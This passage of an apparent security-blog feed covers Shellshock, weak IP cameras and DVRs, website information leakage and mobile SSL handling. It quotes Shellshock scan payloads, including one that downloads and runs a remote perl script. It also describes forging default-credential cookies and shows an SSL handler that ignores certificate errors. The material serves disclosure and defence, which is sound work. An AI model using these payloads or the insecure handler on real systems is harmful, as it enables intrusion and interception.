style="text-align: left">exec(‘date’);<br />system(‘date’);<br />mb_send_mail();</td> </tr> <tr> <td style="text-align: left">Python</td> <td style="text-align: left">os.system(‘date’)<br />subprocess.call(‘date’, shell=True)<br />subprocess.Popen(‘date’, shell=True)</td> </tr> <tr> <td style="text-align: left">Ruby</td> <td style="text-align: left">`date`<br />exec ‘date’<br />system ‘date’</td> </tr> </tbody> </table> <p><br /></p> <h4 id="建置惡意-dhcp-伺服器感染連線使用者">建置惡意 DHCP 伺服器感染連線使用者</h4> <p>同時,有另一批人發現某些作業系統在進行 DHCP 連線時,會將 DHCP 伺服器傳入的一些資訊塞入到環境變數中。於是,若建置一個惡意 DHCP 伺服器,對其連線的使用者就有很高的機會遭受攻擊。我們實際做了實驗攻擊一般使用者,在使用者建立連線的當下放置後門,實驗過程如下影片:</p> <center><div class="videowrapper"><iframe width="560" height="420" src="https://www.youtube.com/embed/rSj1v8pFVKg" frameborder="0"> </iframe></div></center> <p><br /> 我們也分別測試了在不同作業系統下是否會受到惡意 DHCP 伺服器影響,基本上,常見的 un*x 系統開機後自動連線基本上都會中招。</p> <table> <thead> <tr> <th style="text-align: left">OS</th> <th style="text-align: left">Version</th> <th style="text-align: left">Vulnerable</th> </tr> </thead> <tbody> <tr> <td style="text-align: left">CentOS</td> <td style="text-align: left">7.0</td> <td style="text-align: left"><font color="red">YES</font></td> </tr> <tr> <td style="text-align: left">Debian</td> <td style="text-align: left">7.6</td> <td style="text-align: left"><font color="red">YES</font></td> </tr> <tr> <td style="text-align: left">Fedora</td> <td style="text-align: left">20</td> <td style="text-align: left"><font color="red">YES</font></td> </tr> <tr> <td style="text-align: left">Ubuntu</td> <td style="text-align: left">10.04.1 LTS</td> <td style="text-align: left"><font color="red">YES</font></td> </tr> <tr> <td style="text-align: left">Ubuntu</td> <td style="text-align: left">14.04.1 LTS</td> <td style="text-align: left"><font color="red">YES</font></td> </tr> <tr> <td style="text-align: left">Android</td> <td style="text-align: left">4.4.4</td> <td style="text-align: left">NO</td> </tr> <tr> <td style="text-align: left">Apple iOS</td> <td style="text-align: left">7.0.4</td> <td style="text-align: left">NO</td> </tr> <tr> <td style="text-align: left">FreeBSD</td> <td style="text-align: left">10.0</td> <td style="text-align: left">NO</td> </tr> <tr> <td style="text-align: left">Gentoo</td> <td style="text-align: left">20140925</td> <td style="text-align: left">NO (已修復)</td> </tr> <tr> <td style="text-align: left">Linux Mint</td> <td style="text-align: left">17 “Qiana” Cinnamon</td> <td style="text-align: left">NO <sup id="fnref:note2" role="doc-noteref"><a href="#fn:note2" class="footnote" rel="footnote">1</a></sup></td> </tr> <tr> <td style="text-align: left">Linux Mint</td> <td style="text-align: left">Debian 201403 Cinnamon</td> <td style="text-align: left">NO <sup id="fnref:note2:1" role="doc-noteref"><a href="#fn:note2" class="footnote" rel="footnote">1</a></sup></td> </tr> <tr> <td style="text-align: left">Mac OS X</td> <td style="text-align: left">10.9.5</td> <td style="text-align: left">NO</td> </tr> <tr> <td style="text-align: left">openSUSE</td> <td style="text-align: left">13.2</td> <td style="text-align: left">NO <sup id="fnref:note1" role="doc-noteref"><a href="#fn:note1" class="footnote" rel="footnote">2</a></sup></td> </tr> <tr> <td style="text-align: left">Synology</td> <td style="text-align: left">5.0-4493 update 7</td> <td style="text-align: left">NO (已修復)</td> </tr> </tbody> </table> <p><br /></p> <h4 id="繞過-gitsubversion-伺服器的-shell-限制">繞過 Git/Subversion 伺服器的 shell 限制</h4> <p>Shellshock 也常被利用來繞過伺服器的 shell 限制,最常見的就是 Git 和 Subversion 伺服器: 通常這些伺服器允許透過 SSH 連線,但登入後都對應著受限制的 shell。透過此漏洞,可以繞過 shell 的限制,執行指令如下圖。(註:OS 中 git user 預設 shell 要為 bash 才會受到影響)</p> <p><a href="/assets/img/blog/20140930/shellshock_test_git.png"><img src="/assets/img/blog/20140930/shellshock_test_git.png" alt="繞過 Git/Subversion 伺服器的 shell 限制" title="繞過 Git/Subversion 伺服器的 shell 限制" /></a></p> <p>一般我們要實作特定使用者登入 ssh 只能做特定的事情,常常會在 sshd_config 設定 ForceCommand,或是在 authorized_keys 設定 command= 如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>command="[path]/gl-auth-command sitaram",[more options] ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA18S2t... </code></pre></div></div> <p>這次會受到 Shellshock 影響,就是因為這些設定會在使用者透過 ssh 登入時,呼叫 bash 執行,當環境變數被引入,惡意的程式碼就會被執行了。</p> <h3 id="shellshock-威脅仍在擴大">Shellshock 威脅仍在擴大</h3> <p>目前不管是白帽駭客或是黑帽駭客都還在持續尋找可以利用 Shellshock 的地方,如同前面所述,找到可以寫入環境變數的地方,並且順利傳入 bash 執行,就可以利用該弱點來執行更進一步的攻擊。</p> <p>從 Shellshock 爆發至今,陸陸續續傳出了很多公司的產品受到此弱點影響,整理<a href="http://www.kb.cert.org/vuls/byvendor?searchview&amp;Query=FIELD+Reference=252743&amp;SearchOrder=4">在此</a>,也有一些 POC 整理在<a href="https://github.com/mubix/shellshocker-pocs/">這裡</a>。 其中不乏出現一些常用知名套件如:OpenVPN、Pure-FTPd,而且持續更新中。</p> <p>現在針對 HTTP 伺服器的攻擊還是佔多數,截至目前為止我們仍持續發現網路上有各種掃描樣本,例如:</p> <ul> <li>() { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a</li> <li>() { :;}; /bin/bash -c "wget -P /var/tmp 174.143.2XX.XX/…/x ; perl /var/tmp/x"</li> <li>() { :;};echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF$(echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF)vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF</li> </ul> <p>除了這些陸續針對 HTTP 伺服器的案例,我們認為,一些公司購入的網路設備是 Shellshock 潛在高危險群,那些買來就擺在旁邊維運的設備,一來容易被忽略,二來是其更新不易,三來這些設備常使用到 bash,因此仍是現在惡意攻擊者專注研究的目標,請大家特別小心。</p> <h3 id="結論無需過度恐慌但別掉以輕心">結論:無需過度恐慌,但別掉以輕心</h3> <p>「只要有 bash 的系統全部都是受駭範圍!」</p> <p>不少朋友看到最近 Shellshock 的新聞報導,都十分緊張。儘管各位所使用的 bash 是含有漏洞的版本,但要成功執行攻擊手法需要許多條件,被攻擊者從遠端攻擊的機率偏低,因此大家不需要太過恐慌,只要注意以下設備或伺服器:</p> <ul> <li>特定 Linux 版本,並且使用 DHCP 連線</li> <li>網路、資安設備</li> <li>使用 CGI 的網站伺服器</li> <li>已經公布含有弱點的套件</li> </ul> <p>那我們該怎麼自保呢?在攻擊手法不斷精進之下,只過濾 CVE-2014-6271 的攻擊字串並沒有辦法完全阻擋攻擊。建議可以先將伺服器的 bash 升級至最新版本,並持續關注後續更新訊息(目前持續有繞過檢查的新 CVE 弱點發佈),使用 CGI 之伺服器搭配 iptables、IDS、Mod Security 等機制偵測攻擊特徵並將其阻擋。若有設備在這次的影響範圍,也記得向原廠索取更新程式。</p> <h3 id="題外話">題外話</h3> <p>有人說:「Linux 在 2014 年接連出包,真是一個不安全的作業系統!反觀 Windows 在這幾次都毫無影響,企業應該要全面改用 Microsoft Solution!」,但這真的是正確的想法嗎?其實一個 OpenSource 的系統、軟體,可以藉由社群的力量檢視原始碼的問題,集合眾人的力量讓系統變得更加安全。因此有被揭露出漏洞,對於一個系統來說是好事。而非 OpenSource 的系統,就只能仰賴原廠自己的資安團隊進行研究,或者是外部資安人員的發掘了。選擇作業系統的原則,最好依照系統的功能需求、產品定位、安全漏洞的修補速度等層面,才能夠選用真正符合自己需要的系統。</p> <h3 id="註解">註解</h3> <div class="footnotes" role="doc-endnotes"> <ol> <li id="fn:note2" role="doc-endnote"> <p>若手動執行 dhclient,則會遭到漏洞影響。 <a href="#fnref:note2" class="reversefootnote" role="doc-backlink">&#8617;</a> <a href="#fnref:note2:1" class="reversefootnote" role="doc-backlink">&#8617;<sup>2</sup></a></p> </li> <li id="fn:note1" role="doc-endnote"> <p>系統環境變數會受到影響,但無法被攻擊者利用。 <a href="#fnref:note1" class="reversefootnote" role="doc-backlink">&#8617;</a></p> </li> </ol> </div> https://devco.re/blog/2014/09/30/shellshock-CVE-2014-6271/ https://devco.re/blog/2014/09/30/shellshock-CVE-2014-6271 Tue, 30 Sep 2014 00:00:00 +0800 網路攝影機、DVR、NVR 的資安議題 - 你知道我在看你嗎? <p>網路攝影機的普及率在近幾年來持續攀升,除了老人與幼兒居家照護、企業室內監控等需求迅速增加之外,結合手機應用程式讓人可隨時隨地觀看影像的方便性也成為普及的原因。當大家還以為黑帽駭客的目標仍然是網站、個人電腦時,已經有許多攻擊者悄悄地將目標轉向了各種物連網設備,例如 NAS、Wireless AP、Printer 等產品,而擁有眾多用戶的網路攝影機理所當然地也是目標之一。身為安控產品,卻造成一項資安的隱憂,是不是有點諷刺呢?</p> <p>恰好最近幾天忽然看到有新聞報導<a href="http://news.ltn.com.tw/news/world/breakingnews/1112329">「家用監視器遭駭客入侵 隱私全被看光光」</a>這樣子的案例,而在去年也有類似的報導<a href="http://news.networkmagazine.com.tw/classification/security/2013/06/18/51531/">「數十萬支監控攝影機潛藏被駭漏洞 電影情景恐真實上演」</a>,讓我們不禁想對這個事件做個深入的調查。就讓我們來看看網路攝影機以及相關產品究竟有哪些風險吧!</p> <!-- more --> <h3 id="cve">CVE</h3> <p>我們先來看看幾個大廠在 2013 年到 2014 年之間有哪些已經被公開揭露的 CVE 弱點:</p> <ul> <li>AVTECH: 3, CVE-2013-4980, CVE-2013-4981, CVE-2013-4982</li> <li>AXIS: 2, CVE-2013-3543, CVE-2011-5261</li> <li>Hikvision: 3, CVE-2013-4975, CVE-2013-4976, CVE-2013-4977</li> <li>SONY: 1, CVE-2013-3539</li> <li>Vivotek: 6, CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597, CVE-2013-1598, CVE-2013-4985</li> </ul> <p>讀者們若進一步去看各個 CVE 的詳細資料,會發現有許多弱點都是屬於可執行任意指令的嚴重漏洞,其影響程度非常高,已不只是關於攝影內容是否被竊取,更有可能被利用此類設備進一步攻擊其他內、外網機器。</p> <h3 id="台灣現況">台灣現況</h3> <p>雖然上面提到許多知名廠牌的嚴重漏洞,但是每個國家使用的安控設備不見得都是上述幾個牌子,而身為資安業者,隨時關注自己國家的網路現況也是很合理的事情~在我們的大量觀測下,發現有許多 IP Camera、<a href="http://en.wikipedia.org/wiki/Digital_video_recorder">DVR (Digital Video Recoder)</a>、<a href="http://en.wikipedia.org/wiki/Network_Video_Recorder">NVR (Network Video Recoder)</a> 都存在資安議題,我們從其中提出幾個有趣的案例跟各位分享一下:</p> <ul> <li> <p>某國外 V 牌廠商 (數量:320+)</p> <p>一般的產品通常都會有預設帳號密碼,但這間廠商的產品似乎沒有預設帳號密碼,若使用者未設定帳號密碼,攻擊者只要直接點「OK」按鈕就可以登入系統,而這樣子的 DVR 在台灣有三百多台,也就是有三百多台 DVR 在網路上裸奔…<a href="/assets/img/blog/20140924/case_study_01.png"><img src="/assets/img/blog/20140924/case_study_01.png" alt="網路攝影機、DVR、NVR 案例 1" title="網路攝影機、DVR、NVR 案例 1" /></a></p> </li> <li> <p>某國外 H 牌廠商 (數量:1200+)</p> <p>有些廠商為了方便維修或者其他理由,會在 NVR 上開啟了 Telnet 服務,雖然增加了被攻擊的機率,但是若密碼強度足夠且沒有外流,也不會隨便被打進去。而這間廠商非常有趣,除了 root 帳號之外還有一組 guest 帳號,並且 guest 的密碼非常簡單,加上當初建置系統時並未檢查機敏檔案的權限是否設定錯誤,導致攻擊者可先用 guest 帳號登入,再去 /etc/shadow 讀取 root 密碼加以破解,進一步取得設備所有權限。<a href="/assets/img/blog/20140924/case_study_02.png"><img src="/assets/img/blog/20140924/case_study_02.png" alt="網路攝影機、DVR、NVR 案例 2" title="網路攝影機、DVR、NVR 案例 2" /></a></p> </li> <li> <p>某國外 D 牌廠商 (數量:700+)</p> <p>這個案例實在是令人哭笑不得,不知道是原廠還是台灣代理商非常好心地幫使用者建立了多組預設帳號,包含 admin、666666、888888 等等,而且密碼也設定得很簡單。但是通常要使用者記得改一組預設密碼已經非常困難,更何況是要使用者改三組密碼呢?這種情形導致攻擊者可以輕而易舉地拿著弱密碼到處猜,大大提高了用戶的受害機率。而更有趣的是,不知道是基於歷史包袱或者其他原因,此設備開了特殊的 port,直接送出含有特定內容的封包到這個 port 就可以執行相對應的指令,例如可以取得帳號密碼、使用者 email 等等,而在這個過程中完全沒有任何認證機制!等於又有七百多台 NVR 在網路上裸奔…<a href="/assets/img/blog/20140924/case_study_03.png"><img src="/assets/img/blog/20140924/case_study_03.png" alt="網路攝影機、DVR、NVR 案例 3" title="網路攝影機、DVR、NVR 案例 3" /></a></p> </li> <li> <p>某國內 A 牌廠商 (數量:1000+)</p> <p>這間廠商也是使用常見的預設帳號密碼,但它可怕的地方還不止於此。該系統將帳號密碼轉為 Base64 編碼後直接當作 cookie 內容,因此若預設帳號密碼分別是 abc 與 123,將 abc:123 用 Base64 編碼過後可得到 YWJjOjEyMw==,接著將 Cookie: SSID=YWJjOjEyMw== 這串內容加到 request 的 HTTP header 中,就可以到處測試該設備是否使用預設帳號密碼,甚至還可以進一步下載備份檔,察看使用者有無填寫 email、網路帳號密碼等資料。<a href="/assets/img/blog/20140924/case_study_04.png"><img src="/assets/img/blog/20140924/case_study_04.png" alt="網路攝影機、DVR、NVR 案例 4" title="網路攝影機、DVR、NVR 案例 4" /></a></p> </li> <li> <p>某國內 A 牌廠商(數量:10+)</p> <p>這個案例雖然數量非常少,但是卻非常嚴重。為什麼呢?因為廠商沒有對機敏資料做嚴格的權限控管,只要攻擊者直接在網址列輸入 http://IP/sys.bin,就可以直接下載一個名為 sys.bin 的檔案,而此檔案是 tgz 格式,解壓縮後可以得到 system_server.conf,該檔案中含有帳號、密碼,因此即便使用者修改了預設帳號密碼,也會因為這個嚴重漏洞而輕易地被入侵。<a href="/assets/img/blog/20140924/case_study_05.png"><img src="/assets/img/blog/20140924/case_study_05.png" alt="網路攝影機、DVR、NVR 案例 5" title="網路攝影機、DVR、NVR 案例 5" /></a></p> </li> <li> <p>XXXX科技 (數量:230+)</p> <p>這是一個非常經典的案例!一般攻擊者入侵攝影機最常見的就是為了偷看攝影機畫面,再進階一點的可能會控制該攝影機進一步攻擊內網。而這家廠商身為知名保全公司投資成立的安控公司,理當為客戶的監控畫面做最周全的規劃、最謹慎的防護,但是結果呢?報告各位,完全沒有任何防護!只要連到 IP 位址就可以直接看到攝影機畫面,也是屬於裸奔一族…</p> </li> </ul> <p>從這幾個案例我們可以發現台灣目前至少有 3500 台左右的安控設備處於高風險狀態中,而由於我們無暇對每一款設備進行調查,因此這僅僅是一個概略的調查結果。同時這些設備都是在網路上可直接連線的,若再加上各個公家機關、辦公大樓、社區的內網安控設備,恐怕會有更驚人的發現。</p> <h3 id="問題起源">問題起源</h3> <p>究竟為什麼會有這麼多安控設備被入侵呢?其實主要有兩個面向。第一個是由於許多廠商的防範觀念仍停留在舊時代,不了解駭客到底都怎麼攻擊,因此也不了解確切的防治方法。舉例來說,廠商在網路安控系統的 Web 輸入介面都會設定許多阻擋規則,以防範入侵者輸入惡意攻擊指令,但是這些防治手段都僅僅做在 client 端(用 JavaScript 來防護),入侵者只要利用 proxy 工具或自行寫程式發送客製化 request 就可以繞過那些驗證,若廠商沒有在 server 端再次進行驗證輸入資料是否異常,就有很高的機會被入侵成功。</p> <p>另一方面則是入侵者的攻擊手法千變萬化,難以保證不會有新的 0-Day 弱點出現。例如今年一月份大量爆發的 NTP 弱點 CVE-2013-5211 就存在於上述六個案例其中之一,我想廠商應該不會有意願針對舊產品修復此類漏洞,也就是未來隨時有幾百台的攝影機可被惡意人士用來執行 DDoS 攻擊。另外今年四月份的 OpenSSL Heartbleed 弱點更是一個具有代表性的重要案例,我想這應該是許多安控設備廠商都會使用的程式。當廠商將此類程式納入網路安控設備中,於弱點被揭露時若無法及時有效修補,或是修補的成本太高導致用戶不願意修補、沒有能力修補,就有可能釀成重大災情,不但造成用戶損失,也嚴重影響商譽。</p> <h3 id="廠商該如何因應">廠商該如何因應?</h3> <p>針對此類資安問題,大型硬體廠商應該落實以下幾個動作:</p> <ul> <li>改善資安問題更新流程:將產品的資安更新改變成主動通知使用者,而非需要使用者主動到官網看才知道更新,以縮短使用者更新的平均週期,確保使用者的軟體是最新無風險版本。</li> <li>成立專門資安小組:請專人負責檢驗產品的資安品質與修正資安弱點,以便因應臨時爆發的重大弱點,維持產品的資安品質。</li> <li>黑箱滲透測試:於產品出廠前執行黑箱滲透測試,讓滲透測試專家從黑帽駭客的角度來檢查產品有無漏洞。</li> <li>白箱原始碼檢測:定期執行原始碼檢測,從產品的根本處著手改善,降低產品上市後才被發現弱點的機率。</li> <li>資安教育訓練:請有實際攻防經驗的資安專家給予開發人員正確的資安觀念,了解最新的攻擊手法與有效防禦之道。</li> <li>定期檢閱產品所使用的第三方軟體套件是否有弱點,例如 OpenSSL,以避免把有問題的版本納入產品,造成產品間接產生弱點,因而遭到入侵。</li> <li>定時於網路上收集產品的相關弱點資料,例如 <a href="http://secunia.com/">Secunia</a>、<a href="http://www.securityfocus.com/">SecurityFocus</a>、<a href="http://packetstormsecurity.com/">Packet Storm</a> 等網站都是很好的資訊來源。</li> </ul> <h3 id="一般使用者企業該如何亡羊補牢">一般使用者、企業該如何亡羊補牢?</h3> <p>目前的網路安控系統使用者仍未有足夠的資安意識,主要現象有以下幾點:</p> <ul> <li>使用弱密碼</li> <li>未進行適當的權限劃分與管理</li> <li>容易開啓攻擊者寄送的惡意連結,導致被 XSS、CSRF 等手法攻擊</li> <li>未限制連入 IP 位址,導致安控系統可從外網任意存取</li> </ul> <p>然而,無論是安控系統或其他任何連網設備,未來都有可能成為潛在的攻擊目標,而且在廠商提供更新檔之前其實也很難確實地自保,因此了解資安知識與常見的攻擊手法是有其必要的。基本的防範之道如下:</p> <ul> <li>使用強密碼,包含大小寫英文、數字、特殊符號,並且定期更換密碼</li> <li>勿在系統建立太多不必要的使用者帳號、將多餘的帳號移除,以降低帳號被盜的機率。若需要建立多組帳號,請仔細給予適當的權限</li> <li>勿隨意開啟可疑信件附帶的連結或檔案,以避免被攻擊者以 XSS、CSRF 等手法攻擊</li> <li>限制可存取資訊系統的 IP 位址,避免資訊系統成為公開的攻擊目標</li> <li>定期檢查 log,確認有無異常登入、異常操作甚至是異常帳號等資訊</li> </ul> <h3 id="結論">結論</h3> <p>在物連網的時代中,各種可進行無線通訊的設備被攻擊的事件屢見不鮮,例如 2011 年知名駭客 Jay Radcliffe 在 Black Hat 展示如何攻擊胰島素注射器,2013 年已故駭客 Barnaby Jack 原本要在 Black Hat 展示如何利用藍芽通訊控制心律調整器,甚至 2014 年甫推出的可遠程變換顏色燈泡也被揭露有資安問題。在不久的未來,這些資安問題只會更多,身為民眾、企業、廠商的你,準備好面對萬物皆可駭的物連網時代了嗎?</p> https://devco.re/blog/2014/09/24/security-of-ip-camera-and-nvr/ https://devco.re/blog/2014/09/24/security-of-ip-camera-and-nvr Wed, 24 Sep 2014 00:00:00 +0800 被遺忘的資訊洩漏-重點回顧 <h3 id="前言">前言</h3> <p>在今年駭客年會企業場,我們分享了一場『被遺忘的資訊洩漏』。資訊洩漏是十幾年前就被一提再提的議題,在資訊安全領域中也是最最最基本該注意的事情,然而至今很多網站都還是忽略它,甚至連一些熱門網站都仍有資訊洩漏問題。議程中我們舉了大量的例子證明資訊洩漏其實可以很嚴重,希望能幫大家複習一下,如果網站沒有注意這些,會造成什麼樣的後果。議程投影片如下所示,就讓我們來總結一下吧!</p> <!-- more --> <center><iframe src="http://www.slideshare.net/slideshow/embed_code/38312258" width="560" height="460" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;"> </iframe></center> <p><br /></p> <h3 id="devcore-常利用的資訊洩漏">DEVCORE 常利用的資訊洩漏</h3> <p>首先我們從過往滲透測試經驗中挑選了幾個常見的資訊洩漏問題,分別如下:</p> <ul> <li>管理介面洩漏 (p8-p19)</li> <li>目錄(Index of)洩漏 (p20-p28)</li> <li>錯誤訊息洩漏 (p29-p35)</li> <li>暫存、測試資訊 (p36-p46)</li> <li>版本控管 (p47-p55)</li> <li>DNS 資訊洩漏 (p56-p63)</li> </ul> <p>以上種種不同洩漏方式,可能會洩漏出系統環境資訊、程式碼內容、含有帳號密碼的設定檔等。透過這些資訊,駭客就能組織出一個有效的攻擊行動。我們甚至在過往的經驗中,只透過目標的資訊洩漏,就直接取得資料庫操作權限(詳見投影片 p65-p71)。</p> <p>為了解目前一些熱門網站是否重視這些最基本的保護,我們實際對 alexa 台灣前 525 名的網站進行資訊洩漏的調查。</p> <p><img src="/assets/img/blog/20140826/phpmyadmin_leak.jpg" alt="phpmyadmin 頁面洩漏狀況" /> <img src="/assets/img/blog/20140826/phpinfo_leak.jpg" alt="phpinfo 頁面洩漏狀況" /></p> <p>在管理介面和測試頁面洩漏的項目,我們用很保守的方式測試根目錄下是否存有 phpmyadmin 和 phpinfo 頁面,結果分別有 7% 和 9% 的網站有這樣的問題。這樣的結果非常令人訝異,畢竟受測網站都是知名且有技術力的網站,而且並非所有網站都使用 php 開發,再加上我們只是測試預設的命名,實際洩漏的情況會更多!</p> <p><img src="/assets/img/blog/20140826/version_control_leak.jpg" alt="版本控制洩漏狀況" /></p> <p>另一個值得一提的是版本控管洩漏問題,我們同樣保守的只針對版本控管軟體中 GIT 和 SVN 兩項進行調查。結果竟然有 10% 的網站有這樣的問題。這個現象非常嚴重!這個現象非常嚴重!這個現象非常嚴重!這個洩漏有機會能還原整個服務的原始碼,被攻擊成功的機率相當高!台灣熱門的網站裡,十個裡面就有一個存有這樣的問題,非常危險,煩請看到這篇文章的朋友能去注意貴公司的網站是否存在這樣的問題。</p> <h3 id="大數據資料蒐集">大數據資料蒐集</h3> <p>在這場議程中,我們還提到了另一個層次的資訊洩漏議題:當全世界主機的服務及版本資訊全部都被收集起來,會發生什麼樣的事情?</p> <p>駭客擁有這樣的資料,就能夠在非常短暫的時間內篩選出有問題的主機,進行大量的入侵。我們利用類似的技術針對台灣主機快速的進行掃描,就發現了台灣有 61414 台主機可以被利用來做 DNS Amplification DDoS 攻擊、1003 台主機可以被利用來做 NTP Amplification DDoS 攻擊。也就是說,駭客可以在短時間內組織一支六萬多人的台灣大軍,可以針對他想要攻擊的目標進行攻擊。</p> <p><img src="/assets/img/blog/20140826/heartbleed.jpg" alt="OpenSSL Heartbleed 尚未修復的狀況" /></p> <p>利用相同的技術,我們也順便檢驗了前陣子非常熱門的 <a href="http://devco.re/blog/2014/04/09/openssl-heartbleed-CVE-2014-0160/">OpenSSL Heartbleed</a> 問題。OpenSSL Heartbleed 被稱之為『近十年網路最嚴重的安全漏洞』,其嚴重程度可以想見,然而根據我們的觀察,台灣至今仍有 1480 台 HTTP 伺服器尚未修復,而台灣前 525 大熱門網站中,也有 21 個(4%)網站未修復。足見台灣網站對於資安的意識仍然不夠。</p> <p>對於這樣海量收集資料衍生的資安議題,我們認為最大的受害者,是物聯網的使用者!就我們的觀察,物聯網的設備通常安全防護不佳,容易遭受到駭客攻擊,前陣子 <a href="http://www8.hp.com/us/en/hp-news/press-release.html?id=1744676">HP 也出了一份報告指出</a>,物聯網的設備有七成存在弱點,而且每台設備平均有 25 個弱點。除此之外,物聯網的設備不易更新,少有人會定期更新,更導致物聯網設備可以被大範圍的攻擊,進而滲透家用網路,危害使用者居家隱私。這是個未來需要持續關注的重要議題。</p> <p><img src="/assets/img/blog/20140826/synolocker.jpg" alt="仍暴露在 SynoLocker 風險狀況統計" /></p> <p>最後,我們用最近 SynoLocker 的案例為大數據資料蒐集作結,SynoLocker 是一款針對 Synology 的勒索軟體,去年底 Synology 官方已經推出新版修正問題,本月 SynoLocker 擴散至全世界,新聞一再強調需要更新 NAS,但我們針對台灣 1812 台對外開放的 Synology NAS 做統計,至今仍發現有 64% 的使用者沒有更新,也就是這些 NAS 仍暴露在 SynoLocker 的風險中。這件事情又再次證明駭客有能力在短時間利用大數據資料找到攻擊目標,也順帶說明了台灣資安意識普遍不足的問題。</p> <h3 id="結論">結論</h3> <p>在這次議題我們關注了很古老的資訊洩漏問題,並且發現目前台灣一些熱門網站仍然存在這樣的問題。資訊洩漏也許不是一件很嚴重的事情,但往往能激起駭客高漲的情緒,駭客會認為一個網站連最最最基本的資料保護都沒有做到,一定會存在其他資安問題,進而進行更大量的攻擊行為。而事實上,我們也從實例證明了其實資訊洩漏可以很嚴重,希望網站提供者能夠注重這個簡單可解決且重要的議題。</p> <p>我們也提到了駭客透過平常大量的資料收集,在需要的時候能快速找到目標並且大範圍攻擊。這其中又以物聯網的用戶影響最多。面對這樣的議題,我們建議除了適當的隱藏(偽造)主機版本資訊以避免出現 0-Day 時成為首要攻擊目標。我們也提倡要對自己的服務做普查,了解自己到底對外開啟了什麼服務,以及關注自己使用的<a href="http://devco.re/blog/2014/03/14/3rd-party-software-security-issues/">第三方套件</a>是否有安全更新。</p> <p>希望明年不需要再有一篇『依舊沒改變的資訊洩漏』!大家快點注意這件簡單的事情吧!</p> https://devco.re/blog/2014/08/26/information-leakage-in-taiwan-HITCON2014/ https://devco.re/blog/2014/08/26/information-leakage-in-taiwan-HITCON2014 Tue, 26 Aug 2014 00:00:00 +0800 手機應用程式開發上被忽略的 SSL 處理 <p>在網路上傳輸敏感資訊時,通常會使用 HTTPS 協定,讓客戶端與伺服器端對資料進行 SSL 加密處理,以降低資料在傳輸過程中被監聽或中間人攻擊的風險。HTTPS 的重要性逐漸被重視,Google 除了預設開啟 HTTPS 之外,未來更會將 <a href="http://googlewebmastercentral.blogspot.tw/2014/08/https-as-ranking-signal.html">HTTPS 的網站搜尋排名加分</a>。但為了確保傳輸的安全,過程中客戶端會核對伺服器的憑證鏈 (certificate chain) 是否有效,若判定為無效時會作出警告。(詳見<a href="http://en.wikipedia.org/wiki/Secure_Sockets_Layer">Wikipedia</a>)</p> <!-- more --> <p><img src="/assets/img/blog/20140815/desktop_browser_insecure_warning.png" alt="Desktop 警告圖" /> 而在手機應用程式上 HTTPS 同樣重要,例如網路銀行、線上購物等。系統同樣會做憑證核對,但對被判定為無效的憑證就需要開發者作出額外的處理了。許多手機應用程式開發商在這個部分並沒有妥善處理好,以下我們就幾個常見的成因做基本的探討。</p> <h3 id="會被系統判定為無效的常見成因">會被系統判定為無效的常見成因?</h3> <p>在探討該如何處理這個問題之前,這裡先列出一些有可能被系統判定成無效憑證的成因。</p> <h4 id="1-系統支援問題-">1. 系統支援問題 <sup id="fnref:note1" role="doc-noteref"><a href="#fn:note1" class="footnote" rel="footnote">1</a></sup></h4> <p>在 Android 2.2 及之前的版本,對 SSL 的支援上存在著一些問題,像是 <a href="https://code.google.com/p/android/issues/detail?id=12908">SNI</a> 和 <a href="https://code.google.com/p/android/issues/detail?id=26542">Multiple Chain</a>。而 Android 上不接受缺少中繼 CA 憑證的憑證鏈,例如:<a href="https://egov.uscis.gov/">https://egov.uscis.gov/</a></p> <h4 id="2-相關憑證未被預載到系統中">2. 相關憑證未被預載到系統中</h4> <p>以 GCA 簽發的 SSL 憑證為例,在 Windows 上被判定為有效,但在 iOS 系統上卻因為 CA 不在系統的預載清單中而被判定為無效。</p> <p><img src="/assets/img/blog/20140815/windows_recognize_gca.png" alt="Windows" /> <img src="/assets/img/blog/20140815/iphone_unknown_ca.png" alt="iPhone" /></p> <h4 id="3-使用自行簽發的憑證">3. 使用自行簽發的憑證</h4> <p>這種情況常出現在應用程式開發階段的內部測試環境中,由於是內部測試環境一般都不會花錢去申請憑證。</p> <h4 id="4-連線被中間人mitm攻擊">4. 連線被中間人(MITM)攻擊</h4> <p>當連線被 MITM 攻擊時,使用者原本的連線目的地會被導到攻擊者的設備上,此時伺服器憑證也會被取代成攻擊者自行簽發的憑證,造成原本正常的連線出現異常。</p> <h3 id="開發者該如何處理">開發者該如何處理?</h3> <p>理想情況下,客戶端的支援度充足,伺服器憑證鏈的來源及設定正確,只需使用系統原有的方式去檢查憑證即可達到安全效果。但若非得要相容低版本系統或是自行簽發憑證的時候,就得自行做額外的檢查。</p> <p>在處理方式上,普遍是使用憑證綁定 (certificate pinning) 的方式,把需要比對的憑證預先存放在應用程式裡,待要進行 SSL Handshake 的時候再與伺服器的憑證做比對。</p> <p>可是在實務上,大多開發人員採用消極的方法,把錯誤警告略過讓連線繼續進行,使得本來使用 SSL 加密連線帶來的安全性形同虛設。據 2012 年 <a href="http://android-ssl.org/files/p50-fahl.pdf">Why Eve and Mallory Love Android: An Analysis of SSL (In)Security on Android</a> 這篇論文指出,在 Google Play 上 13500 個免費熱門應用程式當中,共有 1074 個 (8%) 應用程式因錯誤的 SSL 處理而導致使用者陷入 MITM 攻擊的風險中。</p> <p>下面我們整理了一些在手機應用開發上,常見的 SSL 處理錯誤,以及其對應適當的處理方法。</p> <h4 id="android-錯誤處理情況1">Android 錯誤處理情況1</h4> <figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1 2 3 4 </pre></td><td class="code"><pre><span class="nd">@Override</span> <span class="kd">public</span> <span class="kt">void</span> <span class="nf">onReceivedSslError</span><span class="o">(</span><span class="nc">WebView</span> <span class="n">view</span><span class="o">,</span> <span class="nc">SslErrorHandler</span> <span class="n">handler</span><span class="o">,</span> <span class="nc">SslError</span> <span class="n">error</span><span class="o">)</span> <span class="o">{</span> <span class="n">handler</span><span class="o">.</span><span class="na">proceed</span><span class="o">();</span> <span class="o">}</span> 